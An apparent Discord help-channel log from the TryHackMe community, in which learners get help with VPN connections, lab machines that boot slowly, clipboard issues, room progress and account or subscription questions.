Dec 11, 2024, 8:09 AM

[muted light]

Hey! I'm in Networking Concepts Telnet (Task7) there is no login info to connect to the server!

[ember osprey]

Seems good 🙂

Can you access http://10.10.10.10/ ?

[ember osprey]

You don't need credentials 🙂

[formal aspen]

wel it isnt connecting as you can see its keeps restarting

even when i try to curl 10.10.10.10/whoami no response is given

[ember osprey]

Try to run this command sudo ip link set dev tun0 mtu 1200

[formal aspen]

it cant find the tun0 device

[ebon garden]

Please tell what I have to do because my VPN connected successfully and I get ping from my target ip so
Please help me

[ember osprey]

Try to change VPN server and re-generate the file

[ember osprey]

It's normal behavior , it can take up to 15min for that machine to boot up 🙂

[ebon garden]

Ok let's wait

[ember osprey]

Press F5 to refresh web page from time to time 🙂

[formal aspen]

i changed it and still no repsonse or connection to the vpn server

[ember osprey]

You need to delete your current file , change VPN server , click regenerate , download the new file and use new file 🙂

[formal aspen]

still no answer

[ember osprey]

Could you provide a screenshot

[ember osprey]

Are you maybe from 🇪🇬 or 🇷🇺 ? People reported having problems using VPN from these countries

[formal aspen]

yes im from egypt

[ember osprey]

Well that may be a problem 😦

A lot of people reported issues using VPN from there

[formal aspen]

so there is no way to connect to vpn ?

[ember osprey]

Which server are you using right now 😦 ?

[formal aspen]

eu-regular-2

[ember osprey]

Try with Indian server maybe it will work , but a few days ago we also tried every server with a guy from 🇪🇬 and sadly none of them worked 😦

[formal aspen]

ok thanks it actually worked on the indian server

[muted light]

I'm trying to get the flag from viewing the page. instructions?

[ember osprey]

Could you provide a screenshot of what you're doing 🙂 ?

[muted light]

I don't have permission to do that here

[ember osprey]

You do , you will only need to verify first 😄

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[muted light]

OMG that is harder then the telnet task

[ember osprey]

🤣

Let's shorten it a bit 😄

Use /verify <your-token> to verify 😄

[muted light]

with <> ??

[ember osprey]

Without 🙂

[muted light]

@ember osprey

[swift hollow]

i have 2 issues

good morning

[muted light]

good morning. What a start 😄

[swift hollow]

i cant copy into the machine

secondly i can only create a connection with the A.U server

i am almost loosing my mind here..

[ember osprey]

GET / HTTP/1.1 Host: telnet

enter it all in one go 🙂

After that hit enter twice

[weary spindle]

@heavy bear No self promotion, in our server please. 🙂

It's in our community rules.

[solid swallow]

Where can I update my country? It automatically selected the wrong country for me

[ember osprey]

Check out this article 😄

https://help.tryhackme.com/en/articles/6611897-changing-your-country-s-flag

[solid swallow]

nice thats a pretty cool way to update it, thanks!

[spiral moat]

Hi! not sure if this would be the proper channel for this but I also didn't see an option on the site other than "feedback"

Anyways, this past summer at DEFCON, you guys were handing out a hacking card game. I didn't get to get one because it was a packed conference! so by the time I got to the booth, they were gone and the only ones left were for CTF winners.

Are you guys planning on selling those at the shop by any chance? It'll be really nice to get a hold of one. Thank you!

[autumn nest]

does anyone have the background file for the current attackbox?
.png/.jpg whatever?
Thank you

[ember osprey]

You can find wallpapers here under wallpapers section 😄

https://tryhackme.com/r/christmas

[autumn nest]

Thank you!

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #7 - 1155)

[rotund jetty]

Why is this happening when I haven't used the attack box for an hour? Today, for example, I started the attack box + the ctf machine but I turned it off before the attack box even started because I needed to exit. Then when I went to start it again I received this warning

[ember osprey]

Once you start it , you can't restart it for that day 😦

[rotund jetty]

ahh i didn't know. bro i'm sad now

this sucks

[ember osprey]

Yeah , it's a bummer but that's how things work 😦

[cyan jungle]

i've completed the pre-security but it isnt actually because linux fundamentals part 2 only shows 50% complete even though everything is complete and answered

[ember osprey]

Try to restart room progress 🙂

[cyan jungle]

i reset the room and did it again same problem

and left the room and rejoined

[modest apex]

can somebody help me out quick what to do?

i tried reinstalling with another ovpn file but no success

[frozen osprey]

hi can someone explain to me on how i can reset Echo? I just started the Advent of Cyber 2024 followed the tutorials, and now Echo is responding, " for the next tasks, you'll need to tackle without me! You got this! to keep interacting with me, please check any room in the Jr Penetration Tester Path.

I have tried restarting Echo directly, and restarted my browser. Same result.

[sweet shore]

anyone can help me why room "Enumerating Active Directory" stuck on status resetting, I've been waiting it for an hour

[cursive cradle]

How to contact THM Support ? I was double charged

@bronze vale

[bronze vale]

You can contact support either by pressing the chat bubble on the bottom right of any TryHackMe page or by emailing [e-mail]

[frozen osprey]

@bronze vale can you help me as well?

[upbeat quarry]

I suggest you cycle through different VPN servers

[modest apex]

fixed it some time ago thx anyway

[upbeat quarry]

Leave the room by pressing the Options button, and join back Wait minutes before joining back You willl be assigned to a different network instance

[sweet shore]

I've tried it but it not works still stuck on resetting status

[upbeat quarry]

happened the same to me: I got reassigned several times to the 10.200.49.X or 10.200.18.X (I do not remember which one) instance, but it was on resetting status each time
so, I repeated multiple times the combination leave/join, waiting more minutes, till I got to 10.200.68.X, which is Running

[fluid phoenix]

I am having trouble with the link / IP address for Day 3 accessing ELK. I had no problem with the previous days exploration of Elastic. I am given an address of http://10.10.137.231:5601/. Has anyone else had an issue with this? I can't get it with any browser even on my local machine, attack box, or personal Kali VM.

[serene sable]

Is this #1305926862114914325 specific or a general ELK room?

[fluid phoenix]

Thanks. # advent-of-cyber

[ember osprey]

It can take up to 15min for that machine to fully boot up 🙂

[fluid phoenix]

That would explain it. Thanks!

[ember osprey]

Press F5 to refresh the web page from time to time , it should start after 10-15min 🙂

[fluid phoenix]

I am tryig to access the Elastic SIEM SaaS website on the challenge. Does the 15 minutes apply to that?

[ember osprey]

Yes

[latent horizon]

doing AOC side quest 2, I put in the key card and decrypted the boxes but it won't let me ssh, just hangs there. tried restarting twice. I can see ssh ports are open but it won't even let me type the pass.

[ember osprey]

Try to ask here https://discord.com/channels/521382216299839518/1312113121040535656 🙂

[latent horizon]

I did, everyone else can just log in with the ssh

[fluid phoenix]

Hey KGB, neither my personal Powershell and attack box Powershell can run 'Get-Help Invoke-AtomicTest'. I have been on github, medium, updated Powershell, updated Get-Help. Anythoughts?

[ember osprey]

You need to run that on the machine provided in the Task , AttackBox is Linux based , it doesn't have Powershell and your PC probably doesn't have AtomicTest installed

[fluid phoenix]

Gotcha, saw the video and it looked like she just opened randon PS session. I clearly skipped step. Thanks!

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #7 - 1178)

[austere charm]

is there anyway to save a lost streak ?

[ember osprey]

You can ask staff to restore your streak 🙂

[austere charm]

where can i contact them ?

[ember osprey]

Here 😄

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 12, 2024, 6:58 AM

[austere charm]

i was just so busy with college yesterday i thought i submited an answer

thx man @ember osprey

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #7 - 1181)

[cunning nacelle]

In the past, THM displayed the approximate hours for a path. Complete Beginner was 64 hours. Is there a way to see that somewhere after the website redesign?

[ember osprey]

You can now see how much each room takes , but tbh I wouldn't trust that 😄

[cunning nacelle]

I don't trust it, but it was great to have an official number for ISC2 CPEs 😄

[high wyvern]

Hi probably a silly question but I'm doing advent of cyber and figured I'd catch up, ran a VM for the day 2 then went to day 3 but the option to run that VM is greyed out.. do I somehow need to stop the day 2 VM before startign one for day 3?

[brave owl]

my clipboard does not work in windows machines

[buoyant spindle]

At the top of the web page you can see the current running vm and there will be a red terminate button. You can just terminate that and then you’ll be able to start day 3s vm

[high wyvern]

hey thanks for replying, I must be an idiot because I don't see the terminate button but that led me to try leavign the room to terminate the VM and that seemed to work, when I rejoined I can now open the VM for the next task

[scenic torrent]

Gave +1 Rep to @buoyant spindle (current: #569 - 9)

[low night]

I'M USING AN IMAC, SO WHY IS IT THAT I'M HAVING ALL THESE PROBLEMS WITH THE ROOMS? CAN'T PASTE OR LOAD ITEMS, HOW DO YOU THINK SOMEONE CAN PASS IF THERE'S NO HELP IN THE ROOMS?

[ember osprey]

Which problems 🙂 ?

[weary spindle]

Can you please not shout, 😄

[brave owl]

my clipboard does not work in windows machines @weary spindle

[acoustic estuary]

Can anyone tell me why pickle rick keeps closing the VM early when running gobuster? “Instance Termination”

[low night]

my bad, it's just that everytime i get close to finishing a room, all these issues come up. I'm a beginner, and they don't help you on these rooms , can't contact them, and they don't teach you how to approach the rooms. like if you don't know something because you're a beginner shouldn't they help? i mean you are the teacher i'm the student, remember?

[ember osprey]

Brute-forcing is an aggressive method , it can crash machine sometimes 🙂

[acoustic estuary]

Is that not the correct way to do this room?

[ember osprey]

Which issues 🙂 ?

[ember osprey]

Try to put some throtling to command 🙂

[acoustic estuary]

Ty

[low night]

I bet PICKLE RICK is having the same problems everyone else is having with your rooms. cannot paste, copy, and no help...

[ember osprey]

Yeah but which issues do you encounter ?

[acoustic estuary]

Firefox does not allow clipboard by default.

You can use the clipboard icon in the remote viewer.

Or I believe you can change the setting in firefox advanced config.

[livid gale]

Hi, I am having some issues with the VPN file now letting me connect, is this the correct room to ask for help in regards to that ?

[ember osprey]

Yes it is 🙂 . What's the problem 🙂 ?

[livid gale]

I wasn't able to connect to the site via VPN

I am trying to do the advent of cyber

I just regenerated a new file and am still facing the same issue ?

[ember osprey]

Could you provide a screenshot of what's going on 🙂 ?

[livid gale]

Sure

[languid parrot]

Hi

[ember osprey]

Hi , welcome 😄

[languid parrot]

So I am beginner where shall I start

[livid gale]

This is the access page

[ember osprey]

You can start here 🙂

https://tryhackme.com/r/path/outline/presecurity

[livid gale]

I have a machine running but I am unable to reach it

[ember osprey]

Try to terminate machine and start new instance

[languid parrot]

Oh super thanks brother 😊

[amber shell]

i didnt know what happened when i answering question says unathorized and logouted automatically and i relogin (refreshed password) but my advent of cyber 2024 room gone its refreshed 0 points

when i refresh site its hapening 404

then logouted again

how to solve this anyone help this?

[ember osprey]

Try to reach out to support

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 12, 2024, 5:34 PM

[vivid reef]

Hi

[ember osprey]

Hi , welcome 🙂

[vivid reef]

Am having issues with following up the page due to weblog the page poses

[livid gale]

Done but the issue still precisists

[sand jacinth]

Is there a way to copy paste from-to a windows target machine?

[ember osprey]

Check out https://discord.com/channels/521382216299839518/1305926862114914325 , it was already discussed there 🙂

[sand jacinth]

This is the weirdest behaviour, the only way I could paste using firefox. 1. open the vm in a full-screen tab 2. open the inspector 3. click the inspector 4. click somewhere in Windows 5. a mysterious "paste" button appears, click it. 6. paste normally.

[silver crag]

i have a cyber project
anyone could help dm please.

[naive dust]

tryhackme's linux fundamentals 2 room has a problem in the terminal on my account. The 2nd task says to open the terminal and connect to the IP address given with the attackbox. I used ssh tryhackme@IP address but once it asks for the password it keeps saying it's wrong even though the second task says the password is tryhackme too, I could connect to it 2 days ago but now I can't. I tried to close the attackbox and restart it with a new IP but didn't work. Even tried to refresh the page and close the tab and open it again but still seems like a problem. How to fix it ?

[wind wedge]

You’re using the attackbox IP, there’s a green button that you need to press to enable the machine which will deploy the machine/IP. This will be the ip you use to ssh into the machine

[naive dust]

Yep someone told me at #room-bugs just fixed it, thank you though ^^

[cursive cradle]

Does anybody knows how to terminate previously opened target machines ?

It says "I can only deploy 3 machines"

[sly carbon]

someone can help me I have the error 405

[median kayak]

How / whom do I get in touch with regard to my subscription? There is no email or form (except Feedback) to contact. Hopefully, this is THE channel for it; but I'd like to keep the conversation private.

[naive dust]

you might have to go back to the rooms that you have just finished to terminate the target machines, its usually a red button near the top

[naive dust]

for 405 errors, try checking if you have the right URL

[naive dust]

type "/email" in the chat and click the first thing the bot shows ya

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 12, 2024, 10:02 PM

[sly carbon]

I tried agzin and now it works

thnaks you

[naive dust]

im glad it worked out for ya

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 12, 2024, 10:09 PM

[vast gazelle]

Hi, I am hoping that this will reach the right people. I paid for the subscription but it's not activated on my account, and instead it went to an alternate email that I have for a confirmation. Then, when I tried to sign up using that email, the subscription wasn't activated there either... I submitted a ticket via the website.

[crystal marlin]

Things like that can only be solved via the support on the website or via email. So if you already have done that, you just have to wait a bit, they will get back to you asap 🙂

[stone belfry]

Any one facing openvpn connection failure

[short ice]

Vpn in terminal shows connected but it’s not

[stone belfry]

In terminal got an error while trying to run the command "sudo openvpn filename.ovpn".. data chiper not found like some error showing up..

[short ice]

Copy and paste on chatgpt

[upbeat quarry]

what happens if you ping 10.10.10.10?

[short ice]

my connection is connected with tryhackme but nothing work

[upbeat quarry]

please screenshot:
ip a | grep tun curl http:10.10.10.10/whoami

[short ice]

How

[upbeat quarry]

open shell terminal in the computer where you entered the openvpn command
that is what it is like for me (check screenshot)

[split void]

is this ok? i connot acces this room

[short ice]

Now its showing something different

[upbeat quarry]

your VPN is not working right
you need to have a VPN startup like mine, finishing with Initialization Sequence Completed like in my screenshot
if you do not have that, do it again, possibly using a different VPN server and regenerating the VPN config file
BTW, which country are you doing VPN from?

[upbeat quarry]

screenshot please of
`ping 10.10.10.10
curl http://10.10.10.10/whoami

[split void]

anyone here?

[upbeat quarry]

I am sorry, I mixed up a few messages above
so for me your are connected to THM VPN and can access target VMs after pressing the Start Machine button

[ember osprey]

Change machine ip with actual IP

[short ice]

?

[ember osprey]

Have you started the machine at all 🙂 ?

[short ice]

Yes

[ember osprey]

Take a shot of machine info 🙂

[short ice]

Tryhamme machine

[ember osprey]

Go to Advent of Cyber tab

[short ice]

And were is this tab

[ember osprey]

Go to Advent of Cyber page and take an image of your machine info

[ember osprey]

IP is 10.10.176.5

Enter that instead of machine_ip

[short ice]

On browser

[ember osprey]

On your VM

[short ice]

Checking For ping

[split void]

why it not connect?

[split void]

please see this

[ember osprey]

Use http not https

[ember osprey]

🙂 ?

Enter IP in the browser

[split void]

yes i try to use http but it force to redirect to https

[short ice]

Connecttion time out

[ember osprey]

Are you sure that you're using the right machine . Is this the machine from Task 9 🙂 ?

[short ice]

I have only one machine bro

[ember osprey]

I don't think that you need to use browser in this room at all .

[split void]

open this ip on the browser, it works

[ember osprey]

It's about ethernal blue

[ember osprey]

From which task ? Each Task has a different machine

[split void]

so what i should try next?

[short ice]

Yesterday I forgot to off openvpn

[ember osprey]

Follow along the task , it's about the exploitation of SMB protocol

🙂

[ember osprey]

It should be on

Which day are you on ?

[short ice]

Yesterday

[ember osprey]

Day 12 ?

[short ice]

Yesterday i try day 12 but not done then sysym shutdown

Today i try to solve day 3

[ember osprey]

Terminate the machine that you started and start the one from Task 3

[short ice]

Ok

[split void]

thanks a lot

[ember osprey]

Did you get it 🙂 ?

[split void]

its work but i will try nmap room first as the blue room ask me 😂

[ember osprey]

Great job buddy , keep going 🙂

[short ice]

I have some work right now but I will text you at night ok bro

[ember osprey]

Ok bro , feel free to reach out 🙂

[ruby panther]

I'd like to create a room that goes deeper into how to use Nmap. Uploading a VM seems to be a pain, is there a VM already available that I could use that would work well with an Nmap tutorial?

[misty sigil]

I've got a quick question, hopefully this is the right place. When connecting in with OpenVPN and selecting a VPN server, what is the difference between the "EU-Regular-<>" and "EU-VIP-<>" servers?

[weary spindle]

Is it a walkthrough or a challenge room?

[ruby panther]

I'd say a walkthrough

[weary spindle]

Then it wouldn't get through public release, THM are only accepting challenge rooms currently

[weary spindle]

Vip are for subscription accounts.

[misty sigil]

So

Just better?

I noticed I was regular then changed to VIP

[weary spindle]

Well, yes.

[ruby panther]

I could make it a challenge as well but in new rooms available I see what look like walkthroughs

[void gust]

Hello when I try to do sudo OpenVPN file-name.ovpn, I get Options error: You must define TUN/TAP device (--dev)

I get Options error I'm trying to parse "LaCabrera ovpn" as an --option parameter but I don't see a leading '--'

The command I entered is Sudo openvpn LaCabrera.ovpn --dev tun

Nope it showed Options error: Uncategorized option or missing or extra parameter(s) in [CMD-LINE]:1: dev (2.6.12)

Still not working but thanks for trying to help👍

[scenic torrent]

Gave +1 Rep to @fair portal (current: #2485 - 1)

[crude hatch]

Hi all, hopefully someone will be able to help me. I'm trying to download the OpenVPN config file through the access page, however I get a 403 error when I click Download. Is this a known issue or something I'm doing wrong?

[ember osprey]

Are you logged in 🙂 ?

[crude hatch]

I believe so, I can access my profile page and have options to manage my account

[ember osprey]

Could you try to restart your browser 🙂 ?

[crude hatch]

I've restarted my browser (Firefox) but the issue is still there. I've also tried on chrome and it's the same

[ember osprey]

Maybe you aren't a subscriber and you are trying to use a Premium server 🙂 ? Try to change to regular server if that's the case 🙂

[crude hatch]

I'm not a subscriber, but the issue is happening on EU-Regular-1, however I have just tried the other EU servers and 2-4 allow me to download the profile so I'll use those. Thanks for your help, not quite sure what's happening with EU-Regular-1